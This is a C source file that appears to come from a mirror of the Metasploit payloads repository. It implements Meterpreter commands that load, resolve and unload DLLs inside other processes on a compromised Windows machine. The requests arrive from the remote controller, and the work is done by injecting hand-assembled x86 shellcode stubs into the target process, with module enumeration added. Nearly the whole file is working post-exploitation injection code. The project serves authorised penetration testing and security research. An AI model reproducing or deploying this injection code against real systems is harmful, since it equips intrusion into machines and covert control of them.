1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-05-06 16:09:38 +02:00

518 lines
12 KiB
C

#include "precomp.h"
DWORD remote_load_library(HANDLE process, LPCSTR image,
HMODULE *base);
DWORD remote_get_proc_address(HANDLE process, HMODULE module,
LPCSTR symbol, LPVOID *address);
DWORD remote_unload_library(HANDLE process, HMODULE base);
/*
* Loads an image file into the context of the supplied process.
*
* req: TLV_TYPE_HANDLE - The process handle to load the image into.
* req: TLV_TYPE_IMAGE_FILE_PATH - The path to the image file that is to be
* loaded.
*/
DWORD request_sys_process_image_load(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
HANDLE handle;
LPCSTR image;
HMODULE base;
handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE_PATH);
do
{
// Validate parameters
if ((!handle) ||
(!image))
{
result = ERROR_INVALID_PARAMETER;
break;
}
// If the handle is not the current process, load the library
// into the context of the remote process
if (handle != GetCurrentProcess())
result = remote_load_library(handle, image, &base);
else
{
// Load the image file
if (!(base = LoadLibrary(image)))
{
result = GetLastError();
break;
}
}
// Add the base address to the result
packet_add_tlv_qword(response, TLV_TYPE_IMAGE_BASE, (QWORD)base);
} while (0);
// Transmit the response
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Returns the address of a procedure that is associated with the supplied
* module to the requestor.
*
* req: TLV_TYPE_IMAGE_NAME - The name of the image to query.
* req: TLV_TYPE_PROCEDURE_NAME - The name of the procedure to query.
*/
DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
HMODULE mod = NULL;
BOOLEAN unload = FALSE;
HANDLE process;
LPCSTR image;
LPCSTR procedure;
LPVOID address = NULL;
process = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE);
procedure = packet_get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME);
do
{
// Validate parameters
if ((!image) ||
(!procedure))
{
result = ERROR_INVALID_PARAMETER;
break;
}
// If the process handle is not this process...
if (process != GetCurrentProcess())
{
if ((result = remote_load_library(process, image,
&mod)) != ERROR_SUCCESS)
break;
if ((result = remote_get_proc_address(process, mod, procedure,
&address)) != ERROR_SUCCESS)
break;
}
// Otherwise, load the library locally
else
{
unload = TRUE;
if (!(mod = LoadLibrary(image)))
{
result = GetLastError();
break;
}
// Try to resolve the procedure name
if (!(address = (LPVOID)GetProcAddress(mod, procedure)))
{
result = GetLastError();
break;
}
}
// Set the procedure address on the response
packet_add_tlv_qword(response, TLV_TYPE_PROCEDURE_ADDRESS, (QWORD)address);
} while (0);
// Lose the reference to the module
if ((mod) &&
(unload))
FreeLibrary(mod);
else if (mod)
remote_unload_library(process, mod);
// Transmit the response
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Unloads an image file using the base address supplied by the requestor
*
* req: TLV_TYPE_HANDLE - The process to unload the image in
* req: TLV_TYPE_IMAGE_BASE - The base address of the image to unload
*/
DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle;
LPVOID base;
DWORD result = ERROR_SUCCESS;
handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_IMAGE_BASE);
do
{
// Validate parameters
if ((!handle) ||
(!base))
{
result = ERROR_INVALID_PARAMETER;
break;
}
if (handle != GetCurrentProcess())
result = remote_unload_library(handle, base);
else
{
// Unload the library
if (!FreeLibrary(base))
result = GetLastError();
}
} while (0);
// Transmit the response
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Returns a list of all of the loaded image files and their base addresses to
* the requestor.
*
* req: TLV_TYPE_HANDLE - The process handle to enumerate the images of
*/
DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
{
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
DWORD pathSize);
Packet *response = packet_create_response(packet);
HMODULE *modules = NULL;
BOOLEAN valid = FALSE;
HMODULE psapi = NULL;
HANDLE handle;
DWORD result = ERROR_SUCCESS;
DWORD needed = 0, actual, tries = 0;
DWORD index;
handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
do
{
// No response? No sense.
if (!response)
break;
// Open the process API
if (!(psapi = LoadLibrary("psapi")))
break;
// Try to resolve the address of EnumProcessModules
if (!((LPVOID)enumProcessModules =
(LPVOID)GetProcAddress(psapi, "EnumProcessModules")))
break;
// Try to resolve the address of GetModuleBaseNameA
if (!((LPVOID)getModuleBaseName =
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA")))
break;
// Try to resolve the address of GetModuleFileNameExA
if (!((LPVOID)getModuleFileNameEx =
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA")))
break;
// Validate parameters
if (!handle)
{
result = ERROR_INVALID_PARAMETER;
break;
}
// The current actual size of the array in bytes
actual = sizeof(HMODULE) * 512;
do
{
// Free previous storage
if (modules)
free(modules);
// Allocate storage for the array
modules = (HMODULE *)malloc(actual);
// Try to enumerate the image's modules
if (enumProcessModules(handle, modules, actual, &needed))
{
valid = TRUE;
break;
}
} while ((actual < needed) &&
(tries++ < 3));
// If we failed to succeed...
if (!valid)
{
result = GetLastError();
break;
}
// Enumerate through all of the modules...
for (index = 0;
index < needed / sizeof(HMODULE);
index++)
{
char path[1024], name[512];
DWORD base = 0;
Tlv tlvs[3];
memset(name, 0, sizeof(name));
memset(path, 0, sizeof(path));
// Query for base name and file name
if ((!getModuleBaseName(handle, modules[index], name,
sizeof(name) - 1)) ||
(!getModuleFileNameEx(handle, modules[index], path,
sizeof(path) - 1)))
{
result = GetLastError();
break;
}
base = htonl((DWORD)modules[index]);
tlvs[0].header.length = sizeof(HMODULE);
tlvs[0].header.type = TLV_TYPE_IMAGE_BASE;
tlvs[0].buffer = (PUCHAR)&base;
tlvs[1].header.length = (DWORD)strlen(path) + 1;
tlvs[1].header.type = TLV_TYPE_IMAGE_FILE_PATH;
tlvs[1].buffer = (PUCHAR)path;
tlvs[2].header.length = (DWORD)strlen(name) + 1;
tlvs[2].header.type = TLV_TYPE_IMAGE_NAME;
tlvs[2].buffer = (PUCHAR)name;
packet_add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3);
}
} while (0);
// Transmit the response
packet_transmit_response(result, remote, response);
// Cleanup
if (modules)
free(modules);
// Close the psapi library and clean up
if (psapi)
FreeLibrary(psapi);
return ERROR_SUCCESS;
}
/*******************
* Helper routines *
*******************/
typedef struct _LoadLibraryContext
{
LPVOID loadLibraryAddress;
CHAR imagePath[1];
} LoadLibraryContext;
typedef struct _GetProcAddressContext
{
LPVOID getProcAddress;
HMODULE module;
CHAR symbol[1];
} GetProcAddressContext;
typedef struct _UnloadLibraryContext
{
LPVOID freeLibraryAddress;
HMODULE module;
} UnloadLibraryContext;
/*
* Loads a library into the context of a remote process
*/
DWORD remote_load_library(HANDLE process, LPCSTR image, HMODULE *base)
{
LoadLibraryContext *context = NULL;
DWORD result = ERROR_SUCCESS;
DWORD contextSize = 0;
DWORD imagePathSize = 0;
BYTE loadLibraryStub[] =
"\x8b\x54\x24\x04" // see load_library_stub
"\x8d\x5a\x04"
"\x53"
"\xff\x12"
"\xc2\x04\x00";
do
{
// Calculate the size of the context we'll be passing
imagePathSize = (DWORD)strlen(image) + 1;
contextSize = imagePathSize + sizeof(LoadLibraryContext);
if (!(context = (LoadLibraryContext *)malloc(contextSize)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Initialize the context
context->loadLibraryAddress = (PVOID)GetProcAddress(
GetModuleHandle("kernel32"), "LoadLibraryA");
strcpy_s(context->imagePath, imagePathSize, image);
// Execute the LoadLibraryA stub
result = execute_code_stub_in_process(process, (PVOID)loadLibraryStub,
sizeof(loadLibraryStub) - 1, context, contextSize,
(LPDWORD)base);
} while (0);
if (context)
free(context);
return result;
}
/*
* Gets the address of a procedure that exists in a remote
* process
*/
DWORD remote_get_proc_address(HANDLE process, HMODULE module,
LPCSTR symbol, LPVOID *address)
{
GetProcAddressContext *context = NULL;
DWORD result = ERROR_SUCCESS;
DWORD contextSize = 0;
DWORD symbolSize = 0;
BYTE getProcAddressStub[] =
"\x8b\x54\x24\x04" // see unload_library_stub
"\x8b\x5a\x04"
"\x8d\x4a\x08"
"\x51"
"\x53"
"\xff\x12"
"\xc2\x04\x00";
do
{
// Calculate the size of the context we'll be passing
symbolSize = (DWORD)strlen(symbol) + 1;
contextSize = symbolSize + sizeof(GetProcAddressContext);
if (!(context = (GetProcAddressContext *)malloc(contextSize)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Initialize the context
context->getProcAddress = (PVOID)GetProcAddress(
GetModuleHandle("kernel32"), "GetProcAddress");
context->module = module;
strcpy_s(context->symbol, symbolSize, symbol);
// Execute the LoadLibraryA stub
result = execute_code_stub_in_process(process, (PVOID)getProcAddressStub,
sizeof(getProcAddressStub) - 1, context, contextSize,
(LPDWORD)address);
} while (0);
if (context)
free(context);
return result;
}
/*
* Unloads a library in the context of a remote process
*/
DWORD remote_unload_library(HANDLE process, HMODULE base)
{
UnloadLibraryContext context;
DWORD result = ERROR_SUCCESS;
BYTE unloadLibraryStub[] =
"\x8b\x54\x24\x04" // see unload_library_stub
"\xff\x72\x04"
"\xff\x12"
"\xc2\x04\x00";
do
{
// Initialize the context
context.freeLibraryAddress = (PVOID)GetProcAddress(
GetModuleHandle("kernel32"), "FreeLibrary");
context.module = base;
// Execute the FreeLibrary stub
result = execute_code_stub_in_process(process, (PVOID)unloadLibraryStub,
sizeof(unloadLibraryStub) - 1, &context, sizeof(context),
NULL);
} while (0);
return result;
}
/***********************
* Internal code stubs *
***********************/
#if 0
VOID __declspec(naked) load_library_stub()
{
__asm
{
mov edx, [esp + 0x4] // edx = ctx
lea ebx, [edx + 0x4] // ebx = &ctx->path
push ebx // library path
call [edx] // call ctx->LoadLibraryA
retn 0x4 // return
}
}
VOID __declspec(naked) get_proc_address_stub()
{
__asm
{
mov edx, [esp + 0x4] // edx = ctx
mov ebx, [edx + 0x4] // ebx = ctx->module
lea ecx, [edx + 0x8] // ecx = &ctx->symbol
push ecx // push symbol
push ebx // push module
call [edx] // call ctx->GetProcAddress
retn 0x4 // return
}
}
VOID __declspec(naked) unload_library_stub()
{
__asm
{
mov edx, [esp + 0x4] // edx = ctx
push [edx + 0x4] // push module
call [edx] // call ctx->FreeLibrary
retn 0x4 // return
}
}
#endif